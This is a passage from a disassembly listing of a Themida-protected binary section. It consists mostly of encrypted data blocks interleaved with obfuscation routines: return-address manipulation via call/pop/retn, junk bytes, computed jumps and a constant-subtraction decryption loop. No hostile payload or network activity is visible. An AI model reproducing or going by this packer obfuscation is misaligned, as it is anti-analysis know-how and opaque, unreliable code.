3B06E5E4h, 0FE770A5Bh, 86C1DA45h dd 79E43D0Dh, 8D9D6915h, 0C3D42D73h, 16363A5h, 85200DBBh dd 0A520ED15h db 0E2h ; --------------------------------------------------------------------------- loc_60C6BD: ; CODE XREF: Themida_:0060C63Cj lea ecx, [ebp+7ECA341h] push 0 push ecx call sub_60C6CE and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_60C6CE proc near ; CODE XREF: Themida_:0060C6C6p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_60C6CE endp ; --------------------------------------------------------------------------- dw 0B6B3h dd 0A55DF92Dh, 0B58BB95Dh, 7E42B61h, 8CD8D89h, 8D8907E4h dd 7E41B71h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 0D3C35040h, 63E172CDh, 6850Fh, 820F0000h, 0 ; --------------------------------------------------------------------------- mov dword ptr [ebp+7E42DA1h], 6240h push 0 push ecx call sub_60C739 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_60C739 proc near ; CODE XREF: Themida_:0060C731p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_60C739 endp ; --------------------------------------------------------------------------- mov al, ds:0B6910CC1h add eax, [ecx-6005F9Bh] mov dword ptr [ebp+7E422B9h], 0 jmp loc_60C776 ; --------------------------------------------------------------------------- mov cl, 64h retn ; --------------------------------------------------------------------------- dw 7735h dd 0E0E00893h, 58D2708h, 0DCADA1CFh db 4Ch, 45h ; --------------------------------------------------------------------------- loc_60C776: ; CODE XREF: Themida_:0060C75Ej push dword ptr [ebp+7E41D5Dh] jl loc_60C794 call sub_60C792 dec ecx hlt ; --------------------------------------------------------------------------- db 0F3h, 38h, 0D2h dd 2262F659h db 6Fh, 9Bh ; =============== S U B R O U T I N E ======================================= sub_60C792 proc near ; CODE XREF: Themida_:0060C782p stc pop esi loc_60C794: ; CODE XREF: Themida_:0060C77Cj mov esi, eax call dword ptr [ebp+7E43061h] push 0 push eax call sub_60C7A7 and [eax-3Dh], bl sub_60C792 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_60C7A7 proc near ; CODE XREF: sub_60C792+Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_60C7A7 endp ; --------------------------------------------------------------------------- aN6TCtLeuFJ db '6 TCβ< u',1Bh,'δ',7,'j',0 ; --------------------------------------------------------------------------- loc_60C7C7: ; DATA XREF: Themida_:00582D58o call dword ptr [ebp+7E40E41h] mov eax, eax jmp short loc_60C82C ; --------------------------------------------------------------------------- db 0D3h, 0DEh, 0DDh dd 8D726135h, 0A11B6FA2h, 0BAEB83C1h, 6F77B123h, 0B8CCEFA6h dd 783C3737h, 9F935CACh, 988BFBD0h, 0CCA68A0h, 0FB044ED0h dd 0EE84894Fh, 72C64472h, 65EE01ECh, 3591FD87h, 0CE8F1B8Dh dd 306EB0F8h, 75E94B12h, 38055CBEh, 22BD864h, 0A8C52ABh dd 0F4DD17F2h, 27C866A7h ; --------------------------------------------------------------------------- loc_60C82C: ; CODE XREF: Themida_:0060C7CFj jmp loc_60C83A ; --------------------------------------------------------------------------- db 8Eh, 2Ah, 0EDh dd 50h db 2 dup(0) ; --------------------------------------------------------------------------- loc_60C83A: ; CODE XREF: Themida_:loc_60C82Cj jmp loc_60CD49 ; --------------------------------------------------------------------------- db 0Ah ; --------------------------------------------------------------------------- xor dl, [eax] jl short loc_60C8AA lea ebp, [ebp-27h] retn ; --------------------------------------------------------------------------- dd 2339CDE7h, 869C3044h, 22FB8FABh, 8CA883DCh, 0EA08E2F8h dd 4C624056h, 0ADC5A2B8h, 39B66619h, 13AE0342h, 923CCB10h dd 0C5FD19F4h, 21FE182Ah, 84DDFDD6h, 90A37E4Ch db 13h, 6Ch, 0A0h ; --------------------------------------------------------------------------- loc_60C883: ; CODE XREF: Themida_:0060C8E1j inc edx adc al, 0EAh xor dword ptr [ecx], 42A0CFB4h adc al, 8Bh and cl, cl xor eax, 1BF7421Fh add ecx, ecx db 2Eh aad 9Dh or ebp, [ecx+42A0572Ch] loc_60C8A0: ; CODE XREF: Themida_:0060C8ECj adc al, 3 call far ptr 7341h:79916E88h ; --------------------------------------------------------------------------- db 9Ah ; --------------------------------------------------------------------------- loc_60C8AA: ; CODE XREF: Themida_:0060C842j jp short loc_60C8EE fisub word ptr [ecx+25h] cmp bl, [ebp+45h] mov cl, 9Bh mov ebp, 1FFD13A7h ; CODE XREF: Themida_:0060C8D3j or ecx, edx add ebp, [ecx] or edx, ebx sbb al, 45h add [edx-44h], ebx fmulp st, st nop cmc movsd sub [ebx-60h], dl inc edx adc al, 0FFh xchg eax, esi test [edx-74h], ch jbe short near ptr loc_60C8B4+3 or [edx-74h], ch jbe short loc_60C918 mov ds:829A7791h, eax dec edx popf jecxz short loc_60C883 inc edx adc al, 0C0h add eax, [ebx+1Bh] in al, 11h pop esp loopne loc_60C8A0 loc_60C8EE: ; CODE XREF: Themida_:loc_60C8AAj adc al, 3Ah adc eax, 9133D010h leave neg dword ptr [esi+1AB9CB66h] jl short $+2 ; --------------------------------------------------------------------------- dw 0 dd 5A795643h, 81050D58h, 601794FAh, 0EE144225h, 83D32C85h dd 0B7EF09E5h ; --------------------------------------------------------------------------- loc_60C918: ; CODE XREF: Themida_:0060C8D8j jmp near ptr 241FBF27h ; --------------------------------------------------------------------------- retf 0F2B8h ; --------------------------------------------------------------------------- dd 4225B845h, 0F8AC6914h, 5B8C3BC4h, 0A9CE0h, 4ABC0000h dd 0FF2EE8A1h, 74495B53h, 0C8667D56h, 9F64CFEFh, 1442A0h dd 4EB70826h, 16EFBDF5h, 8D34A6F6h, 7FA6EEA7h, 0FE1CF682h dd 795826ECh, 4CC92D65h, 0E8C36118h, 0C7A0BACCh, 20FD13A7h dd 289A7408h, 719E9F55h, 0C69BAD23h, 275F7B56h, 28608059h dd 0FA6521EAh, 596F031Fh, 5E2C647Ch, 62306882h, 0F77487h dd 0CE1442A0h, 6D40C65h, 72D60E2Ch, 0F0CEB1F5h, 182981DAh dd 0FFF306Ch, 8EF8E05Ch, 21000000h, 275F7B56h, 775C7D59h dd 64F52831h, 50B4EC45h, 0FF17F492h, 291450EDh, 626FF4Eh dd 7EFB5DADh, 144297F9h, 0D4C7E555h, 566E428Ah, 0EFC9EBFDh dd 0D25E7251h, 8A3DBF7h, 0E501DCF6h, 0EC00DFADh, 0F00AE6B4h dd 0F50DEAB8h, 772F06BDh, 0B8112D08h, 67174F60h, 0E05BACC8h dd 482FAC0Eh, 61442C9h, 1A36119Dh, 526908h, 56920000h dd 59275F7Bh, 0B315657Bh, 42A04136h, 54A40D14h, 42A020D7h dd 3345AE14h, 5D098C6Dh, 57EB07E2h, 16F49286h, 0FBD4EE00h dd 7311A3DBh, 0A8437B99h, 7B47E48h, 5E702162h, 42599B65h dd 9BCB8814h, 5B181CE3h, 6B9E0h, 3BD90000h, 5C314361h dd 10607A56h, 0A04A31AEh, 0A8081442h, 42A0542Bh, 40990214h dd 0BD9A682Eh, 0DBB755A5h, 0A0B64DCAh, 0BB241442h, 0D38A5062h dd 0F9D548FCh, 571D8FDFh, 0E7418AAFh, 2214355h, 54D1218Dh dd 13A6271Eh, 6D3B73DCh, 0CEE47890h, 0F4A1D9F1h, 13A64809h dd 3A19B77Bh, 0A3FC18F3h, 21BED06Bh, 0E1DFA65h, 0A648EA91h dd 0A6FF6813h, 71FFC12h, 0C09F3DCFh, 0A3809AACh, 4C15538Bh dd 30482518h, 293AC59Ch, 3B9BD877h, 0C4000001h, 1C6C424Dh dd 23431CBAh, 42A0C3B8h, 14268F14h, 0F572D436h, 1442A00Eh dd 585163CCh, 13A6BE86h, 896EEB4Dh, 4513A6BEh, 58B1CFA9h dd 0C6FE6746h, 6F031BF8h, 505D7C59h, 0E56403BEh, 0E901F673h dd 64CD13A6h, 0C462B20Bh, 0C896CEE8h, 6779D2ECh, 0DEF6D3A1h dd 0E79F68A6h, 94942B4h, 9C3E10C6h, 7B93708Ah, 966F0DE7h dd 91A33E76h, 772B49B6h, 468ED8h, 4DB70000h, 9D1A6A44h dd 6BBD5F06h, 8176F355h, 4D9442A0h, 83F3D2E4h, 7D8A388Bh dd 65855EFDh, 0E039922Dh, 4104FBA8h, 5F269442h, 4C622F27h dd 0BE187FFCh, 0C537EBBDh, 0DEEAF167h, 0C1A0B2AFh, 7FF6C458h dd 85000000h, 1C6C424Dh, 0A6B9F59Fh, 0B2B9B13h, 557B5A1Bh dd 0D09ED62Fh, 3147DBF3h, 57043C54h, 13A6C25Bh, 312C58DBh dd 89A83C54h, 0F658A806h, 0A6C38279h, 0D5E75013h, 60277AF7h dd 93F3144Ah, 0C7FF19F5h, 0A73AC12Ch, 2F981B93h, 6E0C9ED6h dd 0A7427A90h, 869E7B95h, 84C0974Eh, 3BB8FF90h, 1B93A744h dd 50A912h, 826009Eh, 4A4FDF6h, 0D761C7Fh, 23019F79h, 1F191A06h dd 25BF81Dh, 424D1BF0h, 3A135A39h, 1868C11Ah, 0A5FB44B6h dd 0FA5A7450h, 4166C22h, 0AE25D60Bh, 0E31B8413h, 8D72EF51h dd 4913AE69h, 0D7B4CEE0h, 900D6FBFh, 13AE69EBh, 0CAECFE67h dd 87BFD7B4h, 0AFEAECDAh, 782CA944h, 7C102805h, 653E8966h dd 0E6B4EC45h, 4BBF307h, 2906792Dh, 0E25FC111h, 4AACEC1Dh dd 1C3E50B9h, 0D9112906h, 353h, 3E8DE200h, 245C7E56h, 29617956h dd 2F677D5Bh, 31698761h, 346C8863h, 376F8B66h, 3E768A69h dd 427A9470h, 437B9B74h, 0E18951EEh, 4C181h, 0E9810000h dd 4, 5C240C87h, 81242489h, 42404h, 2F680000h, 89000055h dd 8950240Ch, 405E0h, 0E8830000h, 24048704h, 2434895Ch dd 0ECA3B468h, 240C8B07h, 4C481h, 8B540000h, 0C4832434h dd 6D236804h, 0C890000h, 8468F24h, 5724348Bh, 0C781E789h dd 4, 4C781h, 3C870000h, 34FF5C24h, 0C4815924h, 4, 0F7D542E9h dd 5873A2FFh db 0E1h ; --------------------------------------------------------------------------- loc_60CD49: ; CODE XREF: Themida_:loc_60C83Aj mov eax, 7ECA83Eh add eax, ebp jmp eax ; --------------------------------------------------------------------------- scasd and cl, cl pop eax retn ; --------------------------------------------------------------------------- db 25h dd 34965417h, 3A014A47h, 0EC702D93h, 0BF361961h, 968D7588h dd 5E9E37E8h, 0EBB83ADFh, 68091F69h, 299D7418h, 1DED1519h dd 0F8185FD7h, 71F06D9Ch, 606931DBh, 76A23434h, 6CB35FD7h dd 0C3B119C4h, 0CB675586h, 3B356EA3h, 3B8329FBh, 1DFF0830h dd 7BAD271Bh, 0BA9A54DAh, 458276FAh, 0ADD254EDh, 640B677Bh dd 3A407636h, 36CF7506h, 743274A8h, 5BD450DAh, 0AE8648Eh dd 0BB000000h, 703EAE31h, 7F438DEDh, 38D0F5Ch, 51000000h dd 815B5FFCh, 5F86C3h, 6800h, 0CF8B0000h, 0D88A6058h, 1834FF61h dd 0CFC78166h, 830F5EA6h, 2, 0C68106B6h, 190949F6h, 0CB9F281h dd 0F681117Ah, 2D64BEE5h, 68C0Fh, 0D1810000h, 6B45BCD9h dd 0C800C681h, 89FC0A3Dh, 0C7810334h, 3797AA29h, 81FBBF0Fh dd 831550E8h, 0D3B70F07h, 154CC081h, 0FE80783h, 0D8000000h dd 40ED3571h, 0B5F87951h, 0F40897E0h, 8B666220h, 0F8815AD0h dd 0FFFFA114h, 0FF8B850Fh, 0BF0FFFFFh, 10EBD1h, 3 dup(0) dd 8B000000h, 0E68166C0h, 0BD83DE24h, 7E413F1h, 83097500h dd 0E40935BDh, 19740007h, 0C08B5350h, 42DB8h, 79858900h dd 8D07E414h, 0E6E9F09Dh, 5BD3FF07h, 35BD8358h, 7E409h dd 53501774h, 42DB8h, 79858900h, 8D07E414h, 0E6E6DF9Dh dd 5BD3FF07h, 9B6EBE58h, 958B3C79h, 7E404DDh, 0D08BC08Bh dd 8D8D8Bh, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0C843C8C3h, 94280B7Ah, 81662EA5h dd 8358EDE2h, 840F00F9h, 5Ch, 0B3E8BE66h, 2C3D8B64h, 66000000h dd 1BCBF281h, 840FFF0Bh, 44h, 26918D29h, 3F8B07E4h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0D0C35747h, 80FE38BFh dd 890182E3h, 0E4222995h, 8BC03207h, 0E40D8995h, 66AAF307h dd 9531D08Bh, 7E42469h, 50414935h, 0DE953h, 97B30000h dd 439E6665h, 610537C6h, 0C694BBA2h, 0E42C2D85h, 6A4707h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 2E741FC3h, 52B8C114h, 0C568ABEBh, 0F8D2A9Dh, 587h, 0C8B2BA00h dd 34810970h, 0FC15E924h, 94DABA51h, 952B54A9h, 7E401B1h dd 2141B5FFh, 5DB607E4h, 0B0A7858Dh, 0BD8907E7h, 7E42B4Dh dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 27FD55C3h, 958B5028h, 7E42211h, 0A618589h dd 0B58907E4h, 7E413D1h, 2C2D85C6h, 665307E4h, 688B2DBAh dd 72FE6EA5h, 48100B6h, 99FC5724h, 0B5FFF515h, 7E42141h dd 8810Fh, 860F0000h, 2, 858D38B6h, 7E7B0A7h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 53C35646h, 8918AA51h dd 0E42BDDBDh, 89D0FF07h, 0E42BE985h, 26858D07h, 6007E770h dd 2E159533h, 860F07E4h, 6, 26E59D8Bh, 896107E4h, 0E4160185h dd 898D8907h, 6A07E42Fh, 0FFFF6A20h, 0E4160195h, 41493507h dd 85C75350h, 7E4038Dh, 1, 2B6585C7h, 7E4h, 10E90000h dd 43000000h, 4010180Dh, 0E5ACCF5Ah, 4043809Eh, 6ABEC357h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0E261C355h, 8BF9EF22h, 0E4301985h, 68D0F07h dd 2B000000h, 0E4069995h, 0A36407h, 83000000h, 0E4015DBDh dd 840F0007h, 4Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 5EC35343h, 550960D0h, 0BD895822h, 7E42F89h dd 0AB9858Bh, 0B50307E4h, 7E42BA9h, 8E0FE08Bh, 11h, 6E8h dd 0F835DA00h, 0BA8134C1h, 6EFA8A38h, 65BD835Eh, 7E414h dd 3F4850Fh, 9D290000h, 7E40565h, 0AE8h, 8724CD00h, 67AAD642h dd 0FB62964h, 0C65EF3B7h, 0E42C2D85h, 8D895607h, 7E42355h dd 74F13F68h, 243481C2h, 6BB1C1E0h, 139DB501h, 0B5FF07E4h dd 7E42141h, 7B5B523h, 858D07E4h, 7E7B0A7h, 0CBAD0FFh dd 506310CAh, 8B665250h, 0BA310FD1h, 496640F8h, 489585Ah dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 0F6FD4A91h, 0D2AC862Eh, 2DB58B05h, 8B07E406h dd 0E404D1B5h, 0C18D8D07h, 6A07E426h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 1E55C353h dd 26D4BA62h, 8E8h, 60347A00h, 6458804Dh, 0D9958BF8h, 5E07E418h dd 50F78A91h, 8B0F6091h, 5, 719FBCBEh, 0D1816643h, 6A610467h dd 74BA6604h, 6C16832h, 0D38B86ADh, 3F240481h, 0FF795309h dd 0E415DDB5h, 95B58B07h, 0FF07E409h, 51006AD0h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 94DE389Fh, 8D0BE5C3h, 299B501h, 0BD8B07E4h, 7E415DDh dd 6C1BD29h, 7F0307E4h, 53006A3Ch, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 27882F8h, 81D38A2Ah, 0F8C7h dd 2870F00h, 51000000h, 2447C75Ah, 60000020h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0F0C35141h, 11E85481h dd 0F6000000h, 0AAC45CEFh, 0AE47FF1Dh, 2F567EF4h, 54A55A76h dd 6840Fh, 85890000h, 7E4045Dh, 0E8BD835Ah, 7ECA9h, 11C840Fh dd 6CBE0000h, 830D0CC3h, 6A28C7h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 0E56D1BC3h, 0F05F6275h dd 9531F5F6h, 7E413B5h, 6A2E07C7h, 0AE96469h, 19000000h dd 2813ADEEh, 622717ECh, 447C729h, 617461h, 858BF38Bh dd 7ECA9F0h, 29B58960h, 8B07E407h, 0E4278D8Dh, 47896107h dd 4585090Ch, 8B07E415h, 0ECA9F485h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 6EC09D9h, 3C74251Ch dd 3810Fh, 0B70F0000h, 27BE66F1h, 8478982h, 8870Fh, 890F0000h dd 2, 0C7835A57h, 0FDB58928h, 0C707E41Ch, 6F632E07h, 0FE9606Eh dd 0F000000h, 0AA2D61B6h, 0F05199ECh, 0C50CD5A8h, 0C76137A2h dd 69660447h, 9D310067h, 7E41AC9h, 3F9F78BEh, 0EC858B22h dd 0E907ECA9h, 10h, 0C60ADFDh, 4F11766h, 43ECF464h, 88E8058Ch dd 8B0C4789h, 0ECA9E885h, 0FFBE6607h, 8478978h, 1B9D8D89h dd 6A5807E4h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 4D4EC352h, 0A98D0960h, 6607E422h dd 0D4E2DF81h, 6E961h, 2BF40000h, 9B0ED60Eh, 21A58D8Dh dd 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 17C33EC3h, 6800F24h, 8B000000h, 0E4060DB5h dd 198A0F07h, 0F000000h, 1380h, 0EE900h, 0E5720000h, 0C6D3DDC4h dd 0F29BF47h, 2CE2133Fh, 14E950h, 0BA850000h, 24283B3Dh dd 5C7405F0h, 97A2655Bh, 0E62CBBDAh, 0C890F65h, 9E824h dd 0A84F0000h, 6EF801Ah, 8136E26Dh, 4D49BBF6h, 0B5FF5A4Fh dd 7E426C1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 0CDC35242h, 89B9E280h, 0E41529BDh, 0ED306807h dd 880F3CB2h, 8, 6660B560h, 61F1F6B8h, 30243481h, 8B3CB2FDh dd 0E401F595h, 23DA8007h, 15DDB5FFh, 0D0FF07E4h, 989958Bh dd 0B807E4h, 0E9000000h, 0Fh, 108923D2h, 63B0236Bh, 0A8AC643Ch dd 0F7A57F1h, 88Ah, 0B58B5000h, 7E425A1h, 0FC00B5Ah, 5D84h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 0EC75106h, 5860Fh, 81660000h, 50CFDCD2h dd 12E9h, 767E1400h, 31281E1Bh, 11A7459Dh, 29EAB36Dh, 5E2332CCh dd 0DA1B5FFh, 850107E4h, 7E42145h, 1915950Bh, 95FF07E4h dd 7E43061h, 0C08B64B2h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 3FC35242h, 0BD95899Dh, 8307E407h, 0E413F1BDh dd 9750007h, 935BD83h, 740007E4h, 8B535019h, 42DB8C0h dd 85890000h, 7E40EEDh, 0EA579D8Dh, 0D3FF07E6h, 0BD83585Bh dd 7E40935h, 50177400h, 42DB853h, 85890000h, 7E40EEDh dd 0E6F89D8Dh, 0D3FF07E6h, 11BE585Bh, 0F63EE1Ah, 686h dd 0E9952B00h dd 0E907E406h, 11h, 28E3C667h, 49DEA71Ch, 3DDC8C2Ch, 554D1FFDh dd 8BC08B0Eh, 0E42A6195h, 8DC08B07h, 0ECB2BD8Dh, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 65194A15h, 9A8B2D48h, 0F5B58BB0h, 8B07E424h, 0E40AE1BDh dd 718D8907h, 2B07E41Bh, 0E40D3595h, 0A185C707h, 2807E42Dh dd 0F900005Ch, 22B985C7h, 7E4h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0F7F5C1C3h dd 29FD8F20h, 9D8960DDh, 7E42669h, 91B5FF61h, 107E422h dd 0E41E4D8Dh, 6195FF07h, 6607E430h, 8B0608BBh, 0E40DC185h dd 0FF006A07h, 0E40E4195h ; --------------------------------------------------------------------------- loc_60D748: ; DATA XREF: Themida_:00583FFCo ; Themida_:005842D8o pop es mov eax, eax jmp short loc_60D7BC ; --------------------------------------------------------------------------- db 87h, 96h, 3Dh ; --------------------------------------------------------------------------- jmp dword ptr [edi+220DFDCBh] ; --------------------------------------------------------------------------- dw 8020h dd 140F78B5h, 124D8AB0h, 0D3959886h, 6135DDDEh, 6FA28D72h dd 83C1A11Bh, 0B123BAEBh, 0EFA66F77h, 3737B8CCh, 5CAC783Ch dd 0FBD09F93h, 68A0988Bh, 4ED00CCAh, 894FFB04h, 4472EE84h dd 1EC72C6h, 0FD8765EEh, 1B8D3591h, 0B0F8CE8Fh, 4B12306Eh dd 5CBE75E9h, 0D8643805h, 52AB022Bh, 17F20A8Ch, 66A7F4DDh ; --------------------------------------------------------------------------- loc_60D7BC: ; CODE XREF: Themida_:0060D74Bj call near ptr loc_60D7C8+1 sbb byte ptr [esi-0EAF610Bh], 0EFh loc_60D7C8: ; CODE XREF: Themida_:loc_60D7BCp mov eax, ds:3810F60h ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- mov di, dx movzx esi, dx popa pop ecx or dx, 0C199h add ecx, 6769h or edi, [ebp+7E401D5h] mov esi, 19B4h mov eax, [ebp+7E43329h] loc_60D7F4: ; CODE XREF: Themida_:0060D852j push dword ptr [ecx] mov edx, [ebp+7E42FD5h] pop ebx mov edx, ebx sub ebx, 343A383Bh sub ebx, 6847E9E3h mov edi, [ebp+7E41E19h] sub ebx, 45A4CDCFh jmp loc_60D82E ; --------------------------------------------------------------------------- dd 50994D9Bh, 0C7CF7BE2h, 0F3D7522Ch, 5B24E14Dh db 0ADh, 3Eh ; --------------------------------------------------------------------------- loc_60D82E: ; CODE XREF: Themida_:0060D817j mov [ecx], ebx jnz loc_60D839 mov di, si loc_60D839: ; CODE XREF: Themida_:0060D830j sub ecx, 66BE6F62h mov edx, [ebp+7E41DE5h] add ecx, 66BE6F5Eh mov [ebp+7E425B5h], esi dec esi jnz loc_60D7F4 adc eax, 1861BE7Fh jmp short $+2 jmp loc_60DC1F ; --------------------------------------------------------------------------- db 30h, 58h, 36h dd 93B38CA2h, 0F30DE9FFh, 566A495Fh, 0B5D1ACC2h, 0A9A24821h dd 81EB2CEh, 667C102Eh, 0C8DE7288h, 8C3FD3EBh, 13985FDCh dd 0F13613AEh, 5D7D5662h, 0BDD7B3C9h, 20341329h, 7F9B768Ch dd 0ABFAD5EBh, 0E17CB4D0h, 28607855h, 8AA0348Dh, 0E04292B0h dd 42A09C63h, 0C39E3A14h, 10EE4EA7h, 0A723E585h, 0DFB9DBEDh dd 0DC56096Dh, 1C2EDD76h, 7A0E2402h, 0DB6F8764h, 6D876301h dd 8F889A35h, 13A972DAh, 5C394254h, 5F3E0C44h, 0F7A9134Bh dd 4E608059h, 0F1415534h, 0D84DE17Fh, 0F2392490h, 0B9046418h dd 8DAFC116h, 203815B3h, 183B4DE8h, 6AE73777h, 144AC2C0h dd 5BED258Eh, 0B791E4BDh, 6DC66199h, 6E8E6735h, 710A0315h dd 0D61B92CCh, 3CDA81C5h, 7510485Eh, 0FF43DC15h, 3C4EEB50h dd 8B809E61h, 0F237D0h, 56600000h, 14EB687Bh, 0C21442A0h dd 5DC80059h, 0C6953BADh, 0B8FEB004h, 0A04BC8A6h, 2E14425Bh dd 90375C5h, 9E7F08E4h, 0E9B77D8Fh, 86FCED0Ch, 19077BCFh dd 39162CC0h, 5633D121h, 0ACDE4537h, 0BD165FBEh, 0BEDEB785h dd 0B68D5365h, 885D5D9h, 13A604AAh, 283C1BB9h, 67A45BD8h dd 0C93213A6h, 376FD8B7h, 82FDA980h, 0DAF98DA5h, 2CA9F9B5h dd 14427C86h, 445837D5h, 0AFC1DDB8h, 612F67D0h, 0C0D66A86h dd 0BA91C9E5h, 2587D7D7h, 0AF8E7CB3h, 0E984BCD0h, 4FA13D89h dd 1C8F443Dh, 0E24B1B8Ah, 4E602F4Eh, 77F81FEh, 6CD51C6Eh dd 6F8B6634h, 708F01DBh, 74EC8749h, 0F3CEE8FAh, 6F0D9FD7h dd 41647696h, 910E5E50h, 3EE7AD6h, 626FF9Dh, 4E869C7Ah dd 52C2A1B3h, 0DD516Ch, 0B515B0E8h, 267F4515h, 85A17C92h dd 38B517F1h, 3EE6443h, 0BF94A60Fh, 1C6C424Dh, 0A6BE699Fh dd 86BE2713h, 2FC3DBB8h, 96FB4D08h, 811F0F18h, 0B8538BA5h dd 0BFD2ADA6h, 684513A6h, 0BF27DC59h, 9B7813A6h, 5FB04B83h dd 2F099DF6h, 37552FCDh, 0A6BF37CCh, 283AA313h, 0E119310Eh dd 0BCD4B14Fh, 9BB390AAh, 285C2563h, 0AC405835h, 77F22AD5h dd 47ABD8h, 4DD40000h, 9F1C6C42h, 13A6B501h, 0BCD6B250h dd 845DE984h, 7F912C64h, 49E737A0h, 34F3536Dh, 56501364h dd 0D09E6476h, 0ED8BDBF3h, 0D3E7C60Fh, 1BA7427Ah, 53EE263Eh dd 0D3451F41h, 8BE17342h, 693B4D68h, 0Fh, 16F492F8h, 0F5D4EE00h dd 0FEDBA9E1h, 568152E6h, 1CCF6377h, 0A004EF6Ch, 2DCB1442h dd 43223454h, 0F7D4A2DAh, 0FED9A7DFh, 0DCAAE2h, 647E5AE6h dd 0E69E752Ch, 265E35AAh, 0A001F673h, 0B4921442h, 0BBE44D9Eh dd 0A0E58E0Bh, 0CC6A1442h, 0E3C2D4F2h, 0A0710683h, 6DDD1442h dd 0AF33DCh, 0AC055E30h, 0A918DF5Ch, 4DB61442h, 0AEC6A3B9h dd 0A2C5811Ah, 14h, 53209231h, 51138C6Ah, 22FF192Bh, 2704D20Ah dd 4D9C7B0Fh, 245C7E56h, 29617956h, 2F677D5Bh, 31698761h dd 346C8863h, 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h dd 60C168EEh, 8F540000h, 4812404h, 424h, 43336800h, 4890000h dd 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h, 68243489h dd 79E7h, 68241489h, 68D9715Ah, 4AD2F75Ah, 0DACAEA81h dd 0D0898F39h, 4EC835Ah, 81242489h, 42404h, 685E0000h dd 309Ch, 8F240489h, 34FF0846h, 0C4835E24h, 24048B04h dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0E95C243Ch, 0FFF7C673h dd 0F1CCD6CCh, 6C33A553h db 0A6h, 5Eh, 0E4h ; --------------------------------------------------------------------------- loc_60DC1F: ; CODE XREF: Themida_:0060D860j mov eax, 7ECB706h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 61CFEC94h, 3BF5C5B0h, 2867430Ah, 7A18293Eh, 37DD0734h dd 38E3D184h, 7A086E2Bh, 6315E43Eh, 42F6586Bh, 1F6FB61h dd 1120F448h, 61DC9889h, 51BEEBDFh, 562D592Fh, 0E0FFF99h dd 5966A6C2h, 158DC9F6h, 33A23E65h, 4DDF175Fh, 48DF2BDDh dd 37997CCCh, 16299B86h, 0F1E2922h, 7B7E742Bh, 0D8E36ECh dd 79435528h, 6DEC4EFFh, 5AAE6EB8h, 11811170h, 4DA0E87h dd 79C28166h, 0D8F4806Dh, 2800Fh, 0F88A0000h, 68CEBF66h dd 66F38B66h, 8BA56BBFh, 0FE9DFh, 53380000h, 0D39EB622h dd 917F6E99h, 0C000CEC7h, 9E93Ch, 0B3610000h, 9FA3F2BEh dd 0E94BD1E0h, 9, 3F46F8D4h, 0B06C45C0h, 80FA8A92h, 0AE96CE9h dd 16000000h, 11A4E64Dh, 4F9EBACCh, 14810FF2h, 53000000h dd 0CE8h, 0A7C0D100h, 0ECD4F8E2h, 898D8323h, 0B05E5F6Ah dd 0F0BF0FD5h, 0FCB8B66h, 0B70FFFBFh, 0C860FCEh, 0F000000h dd 68Ch, 800F00h, 0B1000000h, 0FB8B66BFh, 3810Fh, 8B660000h dd 6890FCAh, 81000000h, 33A110DBh, 81576061h, 68BE8CAh dd 7E95852h, 11000000h, 3ECFFC22h, 0F6140A7h, 0BF66C1BFh dd 8CB7E147h, 7E8FCh, 37940000h, 0F1542DF3h, 73BA532Bh dd 5F50714Dh, 44BE665Ah, 4F0DBA77h, 9E91B70h, 90000000h dd 0B60BF8BFh, 1FF5F955h, 810F75B1h, 4, 0D038BA66h, 18B0Fh dd 0FF50000h, 3FB1CEB7h, 842B31BAh, 850F13h, 0F000000h dd 0DF81FAB7h, 39FD77DAh, 0FE8B60FCh, 0F1816661h, 0E860AE88h dd 0Eh, 865CD10Bh, 9D3E0532h, 0CAFB617Ch, 0FA8A89DDh, 8166535Fh dd 5E7619D3h, 14E961h, 3E6F0000h, 0D27B6747h, 3F409BAAh dd 55CD3C9Ah, 74B18E8Eh, 0E380B728h, 0EE98Bh, 234E0000h dd 175FA65h, 9F403BD5h, 0F947B0E7h, 